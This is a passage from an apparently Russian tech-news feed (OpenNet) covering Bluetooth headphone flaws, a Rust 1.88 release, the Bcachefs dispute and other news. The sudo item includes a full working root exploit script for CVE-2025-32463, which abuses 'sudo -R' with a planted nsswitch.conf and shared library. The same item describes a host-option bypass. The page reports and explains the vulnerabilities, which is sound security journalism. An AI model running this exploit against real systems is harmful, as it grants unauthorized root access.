  • ноутбуков Dell Latitude E5420, E5520, E5530, E6220, E6230, E6320, E6330, E6420, E6430, E6520, E6530
  • ноутбуков Lenovo ThinkPad T420, T420s, T430, T440p, T520, T530, W530, W541, X220, X230 и X230T

Устройства, поддерживаемые в Canoeboot:

  1. OpenNews: Выпуск загрузочных прошивок Libreboot 25.04 и Canoeboot 25.04
  2. OpenNews: Опубликована свободная загрузочная прошивка Libreboot 20241206
  3. OpenNews: Intel начал продвигать решения на базе CoreBoot для систем с процессорами Intel Xeon 6
  4. OpenNews: Нападки производителя ноутбуков Malibal на проект coreboot
  5. OpenNews: Выпуск Coreboot 25.03, открытой альтернативы проприетарным прошивкам
Обсуждение (29 +9) | Тип: Программы |
·01.07.2025 Атака через Bluetooth-наушники Sony, Marshall и Beyerdynamic на чипах Airoha (102 +20)
  В Bluetooth-устройствах, использующих SoC от компании Airoha Systems, выявлены уязвимости, позволяющие получить контроль над устройством через отправку специально оформленных данных по Bluetooth Classic или BLE (Bluetooth Low Energy). Атака может быть совершена без аутентификации и без предварительного сопряжения, при наличии устройства жертвы в зоне досягаемости сигнала Bluetooth (примерно 10 метров). Уязвимости затрагивают некоторые модели беспроводных наушников, колонок и микрофонов от Sony, Marshall, Beyerdynamic и менее известных компаний.

Выявившие уязвимость исследователи смогли подготовить прототип инструментария, позволяющего удалённо по Bluetooth читать и записывать данные в оперативную память и Flash. На практике, получение полного доступа к памяти наушников может использоваться для атаки на сопряжённый с наушниками смартфон пользователя. В частности, упоминается, что через взаимодействие наушников со смартфоном можно получить доступ к содержимому адресной книги, извлечь историю звонков, совершать звонки и прослушивать разговоры или улавливаемые микрофоном звуки.

Для взаимодействия со смартфоном со скомпрометированных наушников используются возможности Bluetooth-профиля HFP (Hands-Free Profile), позволяющего отправлять команды на смартфон. Из-за сложности эксплуатации уязвимостей можно предположить, что они будут востребованы для проведения целевых атак на конкретных персон, а не на массовое применение против обычных пользователей. Проблема в том,что инструментарий для проведения атаки должен быть реализован для каждой отдельной модели наушников, так как необходимо учитывать различия раскладки памяти в каждой прошивке.

Проведение атаки возможно благодаря выявлению трёх уязвимостей в Blutooth-стеке Airoha. Уязвимости CVE-2025-20700 и CVE-2025-20701 позволяют установить канал связи с Bluetooth BR/EDR (Bluetooth Classic) и сервисами GATT (Bluetooth Low Energy) без прохождения аутентификации, а уязвимость CVE-2025-20702 позволяет задействовать специфичный для SoC Airoha расширенный протокол для манипуляции устройством. Исследователи выявили, что служебный расширенный протокол, среди прочего позволяющий читать и записывать данные в ОЗУ и Flash, доступен без сопряжения устройств через BLE GATT или Bluetooth Classic RFCOMM.

Информация о наличии уязвимостей была отправлена в компанию Airoha 25 марта, но ответ удалось получить только 27 мая после нескольких повторных попыток связаться с Airoha и привлечения к этому некоторых производителей устройств. 4 июня компания Airoha начала распространение среди производителей обновлённого SDK, включающего возможности для блокирования уязвимостей. В конце июня после истечения 90 дней с момента отправки информации о проблеме исследователи опубликовали общие сведения об уязвимостях, но решили пока не раскрывать детали, касающиеся проблемного протокола, чтобы дать производителям дополнительное время на распространение обновлений прошивок.

Устройства, в которых подтверждено наличие рассматриваемых уязвимостей:

  • Beyerdynamic Amiron 300;
  • Bose QuietComfort Earbuds;
  • EarisMax Bluetooth Auracast Sender;
  • Jabra Elite 8 Active;
  • JBL Endurance Race 2, JBL Live Buds 3;
  • Jlab Epic Air Sport ANC;
  • Marshall ACTON III, MAJOR V, MINOR IV, MOTIF II, STANMORE III, WOBURN III;
  • MoerLabs EchoBeatz;
  • Sony CH-720N, Link Buds S, ULT Wear, WF-1000XM3/4/5, WF-C500, WF-C510-GFP, WH-1000XM4/5/6, WH-CH520, WH-XB910N, WI-C100;
  • Teufel Tatws2.

  1. OpenNews: В чипах ESP32 выявлены недокументированные команды для управления контроллером Bluetooth
  2. OpenNews: BIAS - новая атака на Bluetooth, позволяющая подделать сопряжённое устройство
  3. OpenNews: Уязвимость в Bluetooth-стеках Linux, macOS, Android и iOS, допускающая подстановку нажатий клавиш
  4. OpenNews: BLUFFS - уязвимости в Bluetooth, позволяющие провести MITM-атаку
  5. OpenNews: Уязвимости в ядре Linux, удалённо эксплуатируемые через Bluetooth
Обсуждение (102 +20) | Тип: Проблемы безопасности |
·01.07.2025 Уязвимости в утилите sudo, позволяющие получить права root в системе (225 +36)
  В пакете sudo, применяемом для организации выполнения команд от имени других пользователей, выявлена уязвимость (CVE-2025-32463), позволяющая любому непривилегированному пользователю выполнить код с правами root, даже если пользователь не упомянут в конфигурации sudoers. Проблеме подвержены дистрибутивы, использующие файл конфигурации /etc/nsswitch.conf, например, возможность эксплуатации уязвимости продемонстрирована в Ubuntu 24.04 и Fedora 41.

Уязвимость проявляется в конфигурации по умолчанию и подтверждена в выпусках sudo с 1.9.14 по 1.9.17 (потенциально затрагивает все версии, начиная с 1.8.33). Проблема устранена в обновлении sudo 1.9.17p1. Проверить состояние новой версии пакета или подготовки исправления в дистрибутивах можно на следующих страницах (если страница недоступна, значит разработчики дистрибутива ещё не приступили к рассмотрению проблемы): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo и Arch (1, 2).

Проблема вызвана тем, что при применении опции "-R" ("--chroot") для запуска команд в chroot-окружении с выбранным пользователем корневым каталогом файл /etc/nsswitch.conf загружался в контексте нового корневого каталога, а не системного каталога. Так как пользователь может использовать в качестве корневого каталога для chroot собственный каталог, он может разместить в нём файл конфигурации nsswitch.conf. Контролируя загружаемый подсистемой NSS (Name Service Switch) файл /etc/nsswitch.conf, пользователь может добавить в него настройки, приводящие к вызову дополнительных обработчиков. Подобные обработчики загружаются NSS в форме разделяемых библиотек, которые также можно разместить в подконтрольном пользователю каталоге. Подставив свою библиотеку, пользователь может добиться выполнения из неё кода с правами root, так как обработка NSS производится до сброса привилегий.

Пример эксплоита:


#!/bin/bash

STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}

В версии sudo 1.9.17p1 также устранена ещё одна уязвимость (CVE-2025-32462), позволяющая выполнить команды с правами root, но проявляющаяся только в конфигурациях sudoers, параметр "host" в которых выставлен в значение, отличное от ALL или имени текущего хоста. Уязвимость вызвана ошибкой, из-за которой опция "-h" ("--host") действовала не только в сочетании с опцией "-l" ("--list") для вывода привязанных к хосту привилегий, но и при запуске команд. Таким образом пользователь мог указать при вызове sudo любой хост и обойти ограничения правил sudoers, привязанных к имени хоста.

Для совершения атаки пользователь должен упоминаться в sudoers, например, если в настройках указано "testuser testhost = ALL", то пользователь "testuser" мог указать "sudo -h testhost" и запустить команды с правами root на любых хостах, а не только на хосте testhost. Уязвимости не подвержены конфигурации с настройками вида "testuser ALL = ALL" или без явных правил для конкретного пользователя.

  1. OpenNews: В Ubuntu 25.10 решено задействовать аналог sudo, написанный на Rust
  2. OpenNews: Уязвимость в sudo, позволяющая изменить любой файл в системе
  3. OpenNews: Леннарт Поттеринг представил run0, замену sudo, интегрированную в systemd
  4. OpenNews: Mayhem - атака, искажающая биты в памяти для обхода аутентификации в sudo и OpenSSH
  5. OpenNews: Использование SSH поверх UNIX-сокета вместо sudo для избавления от suid-файлов
Обсуждение (225 +36) | Тип: Проблемы безопасности |
·29.06.2025 Автор Node.js добивается отмены торговой марки JavaScript (154 +46)
  Райан Даль (Ryan Dahl), создатель JavaScript-платформ Node.js и Deno, добивается отзыва у компании Oracle торговой марки "JavaScript". Первым шагом стала публикация в прошлом году открытого письма к компании Oracle c призывом отказаться от торговой марки JavaScript, так как данное слово стало общеупотребительным термином, не связанным с конкретными продуктами Oracle и широко используемым людьми и компаниями.

Компания Oracle никак не отреагировала на призыв и Райан попытался добиться отмены торговой марки в Агентстве по патентам и товарным знакам США (USPTO). В Апелляционный совет по товарным знакам (TTAB) было направлено ходатайство об отмене торговой марки, в котором были указаны три претензии: введение в заблуждение при продлении торговой марки, использование торговой марки на термин общего назначения и неиспользование торговой марки в продуктах её владельца.

Несколько дней назад Апелляционный совет отклонил первую претензию, суть которой в том, что во время продления своих прав на торговую марку "JavaScript" в 2019 году компания Oracle ввела USPTO в заблуждение и указала сведения, не соответствующие действительности. В качестве демонстрации своих продуктов, использующих торговую марку "JavaScript", компания Oracle привела скриншот с сайта платформы Node.js, которая никак не связана c Oracle и никогда не была её продуктом. Райан не согласен с данным решением, но не намерен тратить ресурсы на его оспаривание, так как это лишь затянет разбирательство на месяцы.

Решено сосредоточить усилия на оставшихся двух претензиях - общем характере термина "JavaScript" и неиспользовании торговой марки в продуктах Oracle:

  • Слово "JavaScript" повсеместно используется для описания языка программирования, определяемого спецификацией ECMA-262, а не бренда или продукта компании Oracle, которая никак не связана с эволюцией языка JavaScript. Термин JavaScript используется миллионами разработчиков по всему миру, независимо от Oracle. Компания Oracle никогда не контролировала процесс разработки спецификации или использование языка. В соответствии с действующим в США законодательством, слова, ставшие общими терминами, не могут оставаться торговыми марками.
  • Торговая марка "JavaScript" досталась компании Oracle вместе с активами Sun Microsystems и на практике напрямую не ассоциируется ни с одним из продуктов Oracle. Язык JavaScript стандартизирован ассоциацией Ecma, управляется рабочей группой TC39 и реализуется такими компаниями, как Apple, Google и Mozilla. Законодательство США считает заброшенными (abandoned) торговые марки, неиспользуемые в течение трёх лет.

До 7 августа представители Oracle должны предоставить в USPTO ответы на все пункты, указанные в ходатайстве об отмене торговой марки. После этого 6 сентября в USPTO начнётся разбирательство. Более 20 тысяч разработчиков подписали петицию о том, что торговая марка "JavaScript" не служит общественным интересам и мешает отрасли.

Отмечается, что наличие действующей торговой марки вынуждает компании, развивающие продукты, связанные с языком JavaScript, действовать в серой зоне, используя данное название постольку, поскольку компания Oracle пока не заявляет никаких требований. Например, из-за опасений возможных претензий со стороны Oracle так и не была создана "Конференция JavaScript". Предполагается, что Oracle удерживает торговую марку, которую не использует, для сохранения влияния на экосистему, в которой больше не участвует.

  1. OpenNews: Автор Node.js представил защищённую JavaScript-платформу Deno 1.0
  2. OpenNews: Google учредил организацию для управления торговыми марками открытых проектов
  3. OpenNews: Конфликт, связанный с торговыми марками PostgreSQL, остаётся не урегулирован
  4. OpenNews: Red Hat попытался отобрать домен WeMakeFedora.org под видом нарушения торговой марки
  5. OpenNews: Против организации Software Freedom Conservancy подан иск об отзыве торговой марки
Обсуждение (154 +46) | Тип: К сведению |
·29.06.2025 Опубликован Wayback, композитный сервер Wayland для запуска рабочих столов на базе X11 (92 +22)
  Ариадна Конилл (Ariadne Conill), создатель музыкального проигрывателя Audacious, инициатор разработки протокола IRCv3 и лидер команды по обеспечению безопасности Alpine Linux, опубликовала начальную реализацию прослойки Wayback, позволяющей запускать десктоп-окружения, завязанные на протокол X11, используя компоненты на базе Wayland. Код проекта написан на языке Си и распространяется под лицензией MIT (в файле с кодом указано общественное достояние - CC0).

Проект предоставляет композитный сервер Wayland, ограниченный возможностью запуска полноэкранного сеанса X11 при помощи Xwayland. Wayback развивается для упрощения ухода от поставки классического X.org Server в дистрибутиве Alpine. Предполагается, что оставление в дистрибутиве только компонентов, необходимых для Wayland и Xwayland, сократят затраты на сопровождение X11-приложений в Alpine.

Wayback использует библиотеку wlroots от проекта Sway, в которой реализованы базовые примитивы для построения композитных серверов на базе Wayland. Код Wayback основан на tinywl, эталонном композитном сервере от разработчиков wlroots, функциональность которого была урезана до минимума, достаточного для обособленного запуска Xwayland.

  1. OpenNews: Эксперимент по повышению эффективности работы утилиты cat
  2. OpenNews: Критика политики Фонда СПО по отношению к прошивкам
  3. OpenNews: Релиз XLibre 25.0, форка X.Org Server
  4. OpenNews: Проект X11Libre создал форк X.Org Server, избавленный от влияния корпораций
  5. OpenNews: Разработчики САПР KiCad раскритиковали Wayland и рекомендовали использовать X11
Обсуждение (92 +22) | Тип: Программы |
·28.06.2025 Представлен Tyr, Linux-драйвер для GPU ARM Mali, написанный на Rust (100 +3)
  Дэниел Алмейда (Daniel Almeida), занимающийся развитием видеокодеков в компании Collabora, опубликовал в списке рассылки разработчиков Linux-ядра начальную реализацию драйвера Tyr для GPU ARM Mali, в которых применяется технология CSF (Сommand Stream Frontend), таких как Mali G310, G510 и G710. Код драйвера написан на языке Rust и насчитывает чуть больше 600 строк кода. Работа над драйвером Tyr ведётся совместно сотрудниками компаний Collabora, Arm и Google.

В качестве каркаса для создания нового драйвера использованы компоненты абстрактного драйвера rust_platform_driver и драйвера Nova, развиваемого для GPU NVIDIA, написанного на Rust и частично добавленного в ядро 6.15. Функциональность для взаимодействия с GPU Mali портирована из существующего DRM-драйвера Panthor (Direct Rendering Manager), написанного на языке Си. uAPI драйвера Tyr идентичен uAPI драйвера Panthor, что позволяет использовать с ним уже существующие компоненты пространства пользователя.

Технология CSF, применяемая начиная с 10 поколения GPU Mali, примечательна выносом на сторону прошивки некоторых функций драйвера и задействованием новой модели организации выполнения работ на GPU. В GPU с интерфейсом CSF вместо модели на основе отправки цепочки работ применяется модель на основе потока команд с планированием очереди потока команд на стороне прошивки. Для организации работы планировщика в GPU встроен отдельный микроконтроллер Cortex-M7, а для выполнения инструкций CSF предусмотрен специальный блок выполнения команд (Command Execution Unit).

Функциональность Tyr пока отстаёт от драйвера Panthor, но разработчики намерены постепенно сокращать разрыв до тех пор пока не будет достигнут паритет в возможностях драйверов. Недостающие функции требуют интеграции в ядро дополнительных абстракций для создания драйверов на Rust, поэтому развитие драйвера Tyr будет синхронизировано с добавлением в ядро данных абстракций. Например, в ядре пока отсутствуют возможности для маппинга памяти в Rust-драйверах для GPU, развиваемые в ещё не принятом наборе патчей GPUVM.

  1. OpenNews: Код поддержки кодека VP9 в V4L2 для чипов Hantro и Rockchip переписан на Rust
  2. OpenNews: Для ядра Linux 6.15 предложен начальный код драйвера Nova, написанный на Rust
  3. OpenNews: Red Hat представил Nova, драйвер для GPU NVIDIA, написанный на языке Rust
  4. OpenNews: В драйвере Panthor для GPU Mali G610 обеспечена совместимость с OpenGL ES 3.1
  5. OpenNews: В драйвер PanVK добавлена поддержка Vulkan 1.1. Улучшен OpenGL-драйвер Panfrost
Обсуждение (100 +3) | Тип: К сведению |
·28.06.2025 Линус Торвальдс намерен исключить Bcachefs из ядра Linux 6.17 (363 +20)
  Очередная дискуссия между Линусом Торвальсом и Кентом Оверстритом (Kent Overstreet), автором Bcachefs, завершилась тем, что Линус выразил готовность исключить код Bcachefs из ядра Linux 6.17. При этом Линус принял в состав ядра 6.16 изменения в Bcachefs, ставшие предметом очередного недовольства действиями Кента. Линус написал:

Я считаю, что наши пути разойдутся в окне слияния 6.17.

Вы очень ясно дали понять, что я не могу подвергать сомнению какие-либо исправления ошибок и должен просто принимать всё подряд.

Честно говоря, я не чувствую себя особо комфортно, будучи вовлечённым во всё это, и единственное, с чем мы оба, похоже, действительно согласились в обсуждении, это то, что "мы закончили".

Предшествовавшая данному заявлению переписка с Кентом велась в личном порядке и детали пока не ясны. Тем не менее, в обсуждении данной темы Кент написал, что возможно его слова в частной переписке были неправильно истолкованы и он не считает, что BcacheFS следует исключить из ядра. При этом он готов к прекращению поставки Bcachefs в основном составе ядра Linux и это не убьёт проект, хотя и будет огромной проблемой. В случае удаления Bcachefs разработка будет продолжена и данная ФС станет распространяться в форме модуля DKMS. Кент также отметил, что исключение BcacheFS из ядра будет лучшим вариантом для его с Линусом спокойствия, но явно не станет лучшим решением для пользователей и сообщества разработчиков.

Споры между Кентом и Линусом вызваны постоянными нарушениями правил отправки изменений и исправлений в ядро. Кент считает, что исправления проблем в ФС должны продвигаться безотлагательно и любыми возможными способами. Линус настаивает на том, что функциональные изменения и крупные исправления допускаются на начальной стадии разработки новой ветки ядра, а поздние кандидаты в релизы сосредоточены только на исправлении ошибок. Кент регулярно нарушает данное правило и присылает крупные изменения в неподходящий момент, что приводит к недовольству Линуса и к новой волне споров. Ранее Линус уже предупреждал Кента о желании удалить Bcachefs из основного ядра, так как Кент продолжает играть один в своей песочнице, не подключается к совместной работе и не желает принимать правила игры сообщества разработчиков ядра.

В случае с ядром 6.16 Кент отправил для включения в обновление RC3 набор патчей, среди которых был патч с реализацией новой опции "journal_rewind". Линус написал, что Кент забыл о том, что после закрытия окна приёма функциональных изменений добавление новой функциональности в ядро не допускается, даже если она связана с исправлением других ошибок, так как добавление новых возможностей на поздних стадиях формирования релиза может привести к регрессиям. Кроме того, Bcachefs продолжает позиционироваться как экспериментальная ФС и оперативность устранения ошибок в ней не является столь критичным.

Кент ответил, что главная цель разработки - предоставить пользователям работающий код, поэтому он не намерен уступать в вопросах, касающихся исправления ошибок, влияющих на сохранение целостности данных. В отличие от других подсистем ошибки в ФС не решаются перезагрузкой и могут приводить к повреждению данных, поэтому, по мнению Кента, откладывание их исправления до следующего окна приёма изменений недопустимо, даже если подобные исправления требуют внесения крупных изменений.

Добавленная опция "journal_rewind" откатывала изменения в журнале для сброса ФС в более раннее состояние. Кент считает, что новая опция должна быть включена безотлагательно, так как она решает проблему с восстановлением ФС у пользователей, столкнувшихся с ошибкой при удалении подразделов и не имеющих резервной копии. Вначале Линус отказался принимать набор патчей с данным изменением в ядро 6.16-RC3, но после личной переписки с Кентом изменил свою позицию и принял изменения в кодовую базу, на основе которой формируется обновление 6.16-RC4.

  1. OpenNews: Заморозка изменений дискового формата в Bcachefs
  2. OpenNews: Автора BcacheFS временно отстранили от разработки ядра Linux из-за нарушения кодекса поведения
  3. OpenNews: Линус Торвальдс снова недоволен коммитами в Bcachefs
  4. OpenNews: Линус Торвальдс начал сожалеть, что принял Bcachefs в ядро Linux
  5. OpenNews: Код Bcachefs принят в основной состав ядра Linux 6.7
Обсуждение (363 +20) | Тип: К сведению |
·27.06.2025 Выпуск Rust 1.88. Операционная система Munal и утилита rsched на Rust (153 +3)
  Опубликован релиз языка программирования общего назначения Rust 1.88, основанного проектом Mozilla, но ныне развиваемого под покровительством независимой некоммерческой организации Rust Foundation. Язык сфокусирован на безопасной работе с памятью и предоставляет средства для достижения высокого параллелизма выполнения заданий, при этом обходясь без использования сборщика мусора и runtime (runtime сводится к базовой инициализации и сопровождению стандартной библиотеки).

Методы работы с памятью в Rust избавляют разработчика от ошибок при манипулировании указателями и защищают от проблем, возникающих из-за низкоуровневой работы с памятью, таких как обращение к области памяти после её освобождения, разыменование нулевых указателей, выход за границы буфера и т.п. Для распространения библиотек, обеспечения сборки и управления зависимостями проектом развивается пакетный менеджер Cargo. Для размещения библиотек поддерживается репозиторий crates.io.

Безопасная работа с памятью обеспечивается в Rust во время компиляции через проверку ссылок, отслеживание владения объектами, учёт времени жизни объектов (области видимости) и оценку корректности доступа к памяти во время выполнения кода. Rust также предоставляет средства для защиты от целочисленных переполнений, требует обязательной инициализации значений переменных перед использованием, лучше обрабатывает ошибки в стандартной библиотеке, применяет концепцию неизменяемости (immutable) ссылок и переменных по умолчанию, предлагает сильную статическую типизацию для минимизации логических ошибок.

Основные новшества:

  • Добавлена возможность указания нескольких выражений "let" внутри условных блоков "if" и "while" с использованием для их объединения оператора "&&" (логическое И). Выражения "let" могут комбинироваться с булевыми условными выражениями. Переменные, объявленные в let-выражениях, можно использовать в последующих условных выражениях, а также внутри блоков "if" и "while". Возможность доступна только в редакции Rust 2024.
    
       if let Channel::Stable(v) = release_info()
           && let Semver { major, minor, .. } = v
           && major == 1
           && minor == 88
       {
    
  • Добавлена поддержка написания "голых" функций, помечаемых атрибутом "#[unsafe(naked)]" и содержащих внутри один вызов "naked_asm!". У созданных подобным образом функций отсутствует эпилог и пролог, сгенерированный компилятором, что позволяет разработчику полностью контролировать служебный ассемблерный код, прикрепляемый к функции ("голая" функция содержит только ассемблерные инструкции, указанные разработчиком и не включает специальные обработчики аргументов и возвращаемых значений, добавляемые компилятором). "Голые" функции рассматриваются как более удобная альтернатива функциям, определяемым в блоке "global_asm!".
    
       #[unsafe(naked)]
       pub unsafe extern "sysv64" fn wrapping_add(a: u64, b: u64) -> u64 {
           core::arch::naked_asm!(
              "add rax, rdi, rsi",
              "ret"
           ); 
       }
    
  • В язык предикатов, применяемый в атрибутах условной компиляции "cfg" и "cfg_attr" (позволяют включать или отключать части кода в зависимости от заданных условий), добавлена поддержка булевых литералов "true" и "false", которые отождествлены с конфигурациями, которые всегда включены или всегда отключены. Данные литералы также можно использовать в макросе "cfg!" и таблицах "[target]" в манифестах и конфигурациях для Cargo. Выражения cfg(true) и cfg(false) могут применяться вместо cfg(all()) и cfg(any()) для более явного выражения своих намерений.
  • В пакетном менеджере Cargo включён автоматический запуск сборщика мусора для очистки кэша в домашнем каталоге пользователя. Ранее сохраняемые в кэше пакеты с загружаемыми зависимостями не очищались, что приводило к постоянному росту потребления дискового пространства. Включённый механизм сборки мусора будет автоматически удалять загруженные извне crate-файлы, к которым не было обращений более 3 месяцев, и локально установленные crate-файлы, к которым не обращались более месяца. Очистка кэша не запускается при использовании в cargo опций "--offline" или "--frozen".
  • В разряд стабильных переведена новая порция API, в том числе стабилизированы методы и реализации типажей:
  • Признак "const" применён в функциях:
  • С первого уровня на второй переведена поддержка целевой платформы i686-pc-windows-gnu. Первый уровень поддержки подразумевает формирование бинарных сборок, проведение досконального тестирования и предоставление наивысшей гарантии поддержки платформы - каждое изменение в компиляторе проверяется выполнением полного тестового набора. Второй уровень поддержки подразумевает гарантию сборки.



Дополнительно можно отметить связанные с Rust события:

  • Проект Munal OS развивает экспериментальную операционную систему, написанную на Rust и основанную на концепции unikernel. В Munal OS не применяется вытесняющая многозадачность, маппинг страниц памяти и виртуальное адресное пространство (используется раскладка памяти от UEFI). Ядро и приложения выполняются в одном адресном пространстве с применением модели безопасности на базе sandbox-изоляции WASM (в состав входит движок wasmi для запуска приложений в форме байткода WebAssembly).

    Операционная система оснащена графическим интерфейсом и поддерживает управление через клавиатуру и мышь. Для разработки графических приложений используется собственный тулкит с библиотекой виджетов. Для сетевого взаимодействия предлагаются TCP-стек и драйвер сетевого устройства. Среди доступных для Munal OS приложений: web-браузер с базовой поддержкой HTML и HTTPS, текстовый редактор и терминал для выполнения кода на Python. Код открыт под лицензией MIT.

  • Состоялся выпуск ядра Asterinas 0.15.2, написанного на Rust и предоставляющего ABI, совместимый с ядром Linux. Ядро поддерживает архитектуры x86-64 и RISC-V, и реализует 206 из 368 системных вызовов Linux. В развитии ядра принимают участи 45 разработчиков, в основном из различных китайских университетов. Ядро построено с использованием архитектуры "framekernel", в которой компоненты ядра размещаются в общем адресном пространстве, а безопасность достигается на уровне логического разделения безопасного кода и кода, в котором не исключено возникновение проблем с безопасностью. Все системные вызовы, файловые системы и драйверы реализуются на уровне OS Services и не могут включать unsafe-блоки. Код распространяется под лицензией MPL 2.0.
  • Для ядра Linux подготовлена утилита rsched, позволяющая анализировать статистику о работе планировщика задач. На практике утилита позволяет оценивать решения планировщика, связанные с предоставлением ресурсов процессам, а также отслеживать возникающие при планировании задержки. Для сбора данных в ядре используется подсистема BPF, а работающий в пространстве пользователя инструментарий написан на Rust. Автором утилиты является Крис Мейсон (Chris Mason), создатель и главный архитектор файловой системы Btrfs.
  • Компания Collabora сообщила о разработке варианта инструментария Coccinelle для языка Rust. Coccinelle изначально предназначен для автоматизации поиска и преобразования кода на языке Си в ядре Linux. Преобразования задаются в форме правил, напоминающих абстрагированные патчи, не привязанные к конкретной позиции в коде.
  • Разработчики GNOME представили библиотеку для загрузки изображений glycin, написанную на языке Rust и обеспечивающую декодирование изображений с применением sandbox-изоляции. Поддерживается отдача декодированного контента через gdk::Textures и извлечение метаданных. Предоставляются обвязки для использования glycin в GTK4, а также бэкенд для задействования glycin в библиотеке GdkPixbuf, применяемой в GNOME для загрузки изображений. Glycin уже задействован в просмотрщике изображений Loupe, предлагаемом в GNOME по умолчанию. При этом бэкенд для GdkPixbuf даёт возможность использовать glycin в GNOME Shell, генераторах миниатюр и произвольных приложениях GNOME, без внесения изменений в эти программы.

  1. OpenNews: Выпуск Rust 1.87
  2. OpenNews: GCC-бэкенд достиг возможности полной раскрутки компилятора rustc. Выпуск Rust Coreutils 0.1.0
  3. OpenNews: Для FreeBSD развивают опциональную поддержку компонентов базовой системы на Rust
  4. OpenNews: Прогресс в разработке транслятора из Rust в код на Cи и .NET IR
  5. OpenNews: Проект Asterinas развивает ядро на языке Rust, совместимое с Linux
Обсуждение (153 +3) | Тип: Программы |
Следующая страница (раньше) >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру